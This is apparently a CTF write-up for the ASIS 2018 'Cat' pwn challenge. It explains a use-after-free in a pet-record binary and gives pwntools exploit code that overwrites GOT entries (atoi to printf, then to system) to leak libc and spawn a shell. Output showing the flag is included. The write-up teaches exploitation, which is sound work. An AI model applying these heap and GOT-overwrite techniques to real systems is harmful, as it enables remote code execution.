ASIS CTF Quals 2018 - Cat

Register the cute pet! 🐱

nc 178.62.40.102 6000

Attachment: Cat libc-2.23.so xpl.py

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
$$$$$$$\             $$\           $$$$$$$\                      $$\             $$\                         
$$  __$$\            $$ |          $$  __$$\                     \__|            $$ |                        
$$ |  $$ | $$$$$$\ $$$$$$\         $$ |  $$ | $$$$$$\   $$$$$$\  $$\  $$$$$$$\ $$$$$$\    $$$$$$\   $$$$$$\  
$$$$$$$  |$$  __$$\\_$$  _|        $$$$$$$  |$$  __$$\ $$  __$$\ $$ |$$  _____|\_$$  _|  $$  __$$\ $$  __$$\ 
$$  ____/ $$$$$$$$ | $$ |          $$  __$$< $$$$$$$$ |$$ /  $$ |$$ |\$$$$$$\    $$ |    $$$$$$$$ |$$ |  \__|
$$ |      $$   ____| $$ |$$\       $$ |  $$ |$$   ____|$$ |  $$ |$$ | \____$$\   $$ |$$\ $$   ____|$$ |      
$$ |      \$$$$$$$\  \$$$$  |      $$ |  $$ |\$$$$$$$\ \$$$$$$$ |$$ |$$$$$$$  |  \$$$$  |\$$$$$$$\ $$ |      
\__|       \_______|  \____/       \__|  \__| \_______| \____$$ |\__|\_______/    \____/  \_______|\__|      
                                                       $$\   $$ |                                            
                                                       \$$$$$$  |                                            
                                                        \______/                                             

------------------------------------------------
 1: create pet record
 2: edit pet record
 3: print record
 4: print all record
 5: delete record
 6: exit
------------------------------------------------
which command?
>

When we create a pet, it will create a Pet struct, in which it’s name, kind and age will be stored

struct Pet {
  char*   Name;
  char*   Kind;
  long    Age;
}

There’s nothing special in the pet creation, it will just malloc the memory for the Pet struct, name, kind and reads into it.

But the edit_pet_record function has a small caveat.

void edit_pet_record()
{
  Pet *pet;

  int index = read_index();
  ...
  else if ( PET_TABLE[index] )
  {
    // If ptr is not NULL, this won't alloc new memory but reuse ptr
    if ( !ptr )
    {
      ptr = malloc(0x18);
      pet = ptr;
      pet->Name = malloc(0x17);      
      pet->Kind = malloc(0x17);
    }
    printf("What's the pet's name?\n> ");
    int read_bytes = read(0, ptr->Name, 0x16);
    ptr->Name[read_bytes - 1] = 0;

    printf("What's the pet's kind?\n> ");
    read_bytes = read(0, ptr->Kind, 0x16);
    ptr->Kind[read_bytes - 1] = 0;

    printf("How old?\n> ");
    read(0, &buf, 4);    
    pet->Age = atoi(&buf);

    printf("Would you modify? (y)/n> ", &buf);
    read(0, &buf, 4);

    if ( buf == 'n' )
    {
      char *pPetName = ptr->Name;
      char *pPetKind = ptr->Kind;

      // ptr gets freed but the pointer won't be zeroed
      free(ptr);   
      free(pPetName);
      free(pPetKind);
    }
    else
    {
      free(PET_TABLE[index]->Name);
      free(PET_TABLE[index]->Kind);
      free(PET_TABLE[index]);
      PET_TABLE[index] = ptr;
      ptr = 0LL;
      printf("edit id %d\n", index);
    }    
  }
  ...
}

ptr is a global pointer pointing to the current editing pet and is used to read the data for modifying a pet.

When we entered all information, it will ask us, if we really want to modify the current pet. If so, it will free the memory allocated for our pet on the heap, and replace the entry in the PET_TABLE with the ptr chunk and zero it out.

But if we deny to modify it, it will free ptr but don’t zero it out. So if we try to edit a pet again, ptr will still point to the freed memory, thus not getting reallocated and we have an UAF at hand.

We can use this, to create another pet, which will get the memory previously containing ptr served by malloc and we still have the ptr pointer pointing to it, so we can directly edit its content (which are the pointers for name and kind :))

Overview of the initial attack

  • Create a pet
  • Edit the pet without modifying. This will create ptr and free it without resetting it
  • Create another pet. This will create another chunk, which kind will overwrite the struct of ptr and thus its name and kind pointer
  • Let the name pointer of ptr point to atoi
  • Edit the pet again, but this time modify it
    • This will write the name we give it to the pointer we just put there (=> atoi got)
    • Overwrite atoi got with printf plt
    • We can now use format string parameters to leak addresses from the stack
def exploit(r):
  r.recvuntil("> ")

  create_pet("A"*0x16, "B"*0x16, 100)           # 0
  edit_pet(0, "A"*0x16, "B"*0x16, 100, False)

  payload = p64(e.got["atoi"])
  payload += p64(0x602500)
  payload += p64(0x602600)

  create_pet("C"*0x16, payload, 100)            # 1

  log.info("Overwrite atoi with printf")

  edit_pet(0, p64(e.plt["printf"]), p64(0xdeadbeef), 100, True)
  
  r.interactive()
  
  return

Since atoi now points to printf, every time, we enter a choice for the menu, the binary will call printf on it instead of converting it to a number with atoi.

Only problem, the binary only reads 4 bytes for the menu choice, so we cannot use arbitrary format strings, but it’s enough to leak first 10 format string parameters (which should contain a libc address).

There’s another way to get around this restriction, which I used to find out, which libc is used remote. Will show this at the end, since it’s not used in the final exploit at all.

log.info("Leak libc")

r.recvuntil("> ")
  
r.sendline("%3$p")
LEAK = int(r.recvuntil("Invalid", drop=True), 16)

libc.address = LEAK - 0xf7230 - 0x30

log.info("LEAK          : %s" % hex(LEAK))
log.info("LIBC          : %s" % hex(libc.address))

With libc base address at hand, we can now just overwrite atoi again, but this time with system.

We should note here, that our input won’t get converted to a number anymore, since atoi isn’t existing anymore.

But printf will return the number of bytes printed, so we just have to adapt, that instead of sending a 2 for edit_pet we’ll be sending ..\x00 (which will result in a 2, when printf wrote it). See the attached exploit for the modifications on the create/edit functions to take care of that.

log.info("Overwrite atoi with system")
create_pet("D"*0x16, "E"*0x16, 100, True) # 2 

edit_pet(2, "A"*0x16, "B"*0x16, 100, False, True)

payload = p64(e.got["atoi"])
payload += p64(0x602500)
payload += p64(0x602600)[:6]

create_pet("C"*0x16, payload, 100, True)  # 3
  
edit_pet(0, p64(libc.symbols["system"]), p64(0xdeadbeef), 100, True)

Idea stays the same, now everything we enter for the menu, will be executed by system instead of atoi, but again only 4 bytes for input.

Well, that’s more than enough to send sh, triggering a shell.

r.sendline("sh")

r.interactive()

And there we go

$ python xpl.py 1
[*] '/home/kileak/cat/Cat'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/kileak/cat/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 178.62.40.102 on port 6000: Done
[*] Overwrite atoi with printf
[*] Leak libc
[*] LEAK          : 0x7f05469cc260
[*] LIBC          : 0x7f05468d5000
[*] Overwrite atoi with system
[*] Switching to interactive mode
$ cat /home/pwn/flag
ASIS{5aa9607cca34dba443c2b757a053665179f3f85c}

As a sidenote for finding the used libc. Instead of overwriting atoi with printf, we can also overwrite free with printf and put a format string into our pet record, which then gets parsed by printf when we free that record.

Short example

create_pet("A"*0x16, "B"*0x16, 100)       
edit_pet(0, "A"*0x16, "B"*0x16, 100, False)

payload = p64(e.got["free"])
payload += p64(0x602500)
payload += p64(0x602600)

create_pet("%17$pp", payload, 100)        
edit_pet(0, p64(e.plt["printf"]), p64(0xdeadbeef), 100, True)

If we then free pet 1, it will print out the 17th parameter

$ 5
which id?
> $ 1
0x7f6cb8673830\x18 `\x90Ыdelete id 1
------------------------------------------------

which is __libc_start_main + 240

With libc-database, we can then find the used libc

./find __libc_start_main 740
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)

But I’d overwrite free with printf only for the initial leaking, because we lose the possibility to do another UAF afterwards otherwise.